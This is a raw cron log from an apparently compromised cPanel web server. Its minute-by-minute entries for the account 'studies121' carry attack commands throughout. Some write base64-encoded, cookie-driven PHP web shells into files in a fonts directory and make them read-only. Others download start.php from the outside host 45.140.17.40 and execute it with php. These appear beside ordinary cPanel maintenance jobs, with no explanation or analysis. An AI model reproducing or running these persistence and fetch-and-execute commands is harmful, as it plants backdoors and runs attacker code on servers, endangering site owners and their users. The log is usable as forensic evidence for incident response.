Sep  9 17:04:01 ip-184-168-122-23 CROND[17924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:05:01 ip-184-168-122-23 CROND[18017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:05:01 ip-184-168-122-23 CROND[18021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:05:01 ip-184-168-122-23 CROND[18020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:05:01 ip-184-168-122-23 CROND[18022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:05:01 ip-184-168-122-23 CROND[18024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:05:01 ip-184-168-122-23 CROND[18023]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 17:05:01 ip-184-168-122-23 CROND[18030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:06:01 ip-184-168-122-23 CROND[18122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:06:01 ip-184-168-122-23 CROND[18125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:06:01 ip-184-168-122-23 CROND[18124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:06:01 ip-184-168-122-23 CROND[18127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:06:01 ip-184-168-122-23 CROND[18126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:07:01 ip-184-168-122-23 CROND[18223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:07:01 ip-184-168-122-23 CROND[18224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:07:01 ip-184-168-122-23 CROND[18228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:07:01 ip-184-168-122-23 CROND[18230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:08:01 ip-184-168-122-23 CROND[18327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:08:01 ip-184-168-122-23 CROND[18329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:08:01 ip-184-168-122-23 CROND[18332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:08:01 ip-184-168-122-23 CROND[18331]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:08:01 ip-184-168-122-23 CROND[18330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:09:01 ip-184-168-122-23 CROND[18434]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 17:09:01 ip-184-168-122-23 CROND[18436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:09:01 ip-184-168-122-23 CROND[18437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:09:01 ip-184-168-122-23 CROND[18439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:09:01 ip-184-168-122-23 CROND[18438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:10:01 ip-184-168-122-23 CROND[18544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:10:01 ip-184-168-122-23 CROND[18545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:10:01 ip-184-168-122-23 CROND[18548]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:10:01 ip-184-168-122-23 CROND[18552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:10:01 ip-184-168-122-23 CROND[18551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:10:01 ip-184-168-122-23 CROND[18549]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:10:01 ip-184-168-122-23 CROND[18550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:10:01 ip-184-168-122-23 CROND[18553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:11:01 ip-184-168-122-23 CROND[18660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:11:01 ip-184-168-122-23 CROND[18662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:11:01 ip-184-168-122-23 CROND[18664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:11:01 ip-184-168-122-23 CROND[18663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:12:01 ip-184-168-122-23 CROND[18741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:12:01 ip-184-168-122-23 CROND[18744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:12:01 ip-184-168-122-23 CROND[18745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:12:01 ip-184-168-122-23 CROND[18746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:12:01 ip-184-168-122-23 CROND[18743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:13:01 ip-184-168-122-23 CROND[18937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:13:01 ip-184-168-122-23 CROND[18940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:13:01 ip-184-168-122-23 CROND[18941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:13:01 ip-184-168-122-23 CROND[18939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:14:01 ip-184-168-122-23 CROND[19035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:14:01 ip-184-168-122-23 CROND[19038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:14:01 ip-184-168-122-23 CROND[19036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:14:01 ip-184-168-122-23 CROND[19037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:14:01 ip-184-168-122-23 CROND[19039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:15:01 ip-184-168-122-23 CROND[19155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 17:15:01 ip-184-168-122-23 CROND[19156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:15:01 ip-184-168-122-23 CROND[19157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 17:15:01 ip-184-168-122-23 CROND[19160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:15:01 ip-184-168-122-23 CROND[19162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:15:01 ip-184-168-122-23 CROND[19164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:16:01 ip-184-168-122-23 CROND[19315]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 17:16:01 ip-184-168-122-23 CROND[19316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:16:01 ip-184-168-122-23 CROND[19320]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 17:16:01 ip-184-168-122-23 CROND[19319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
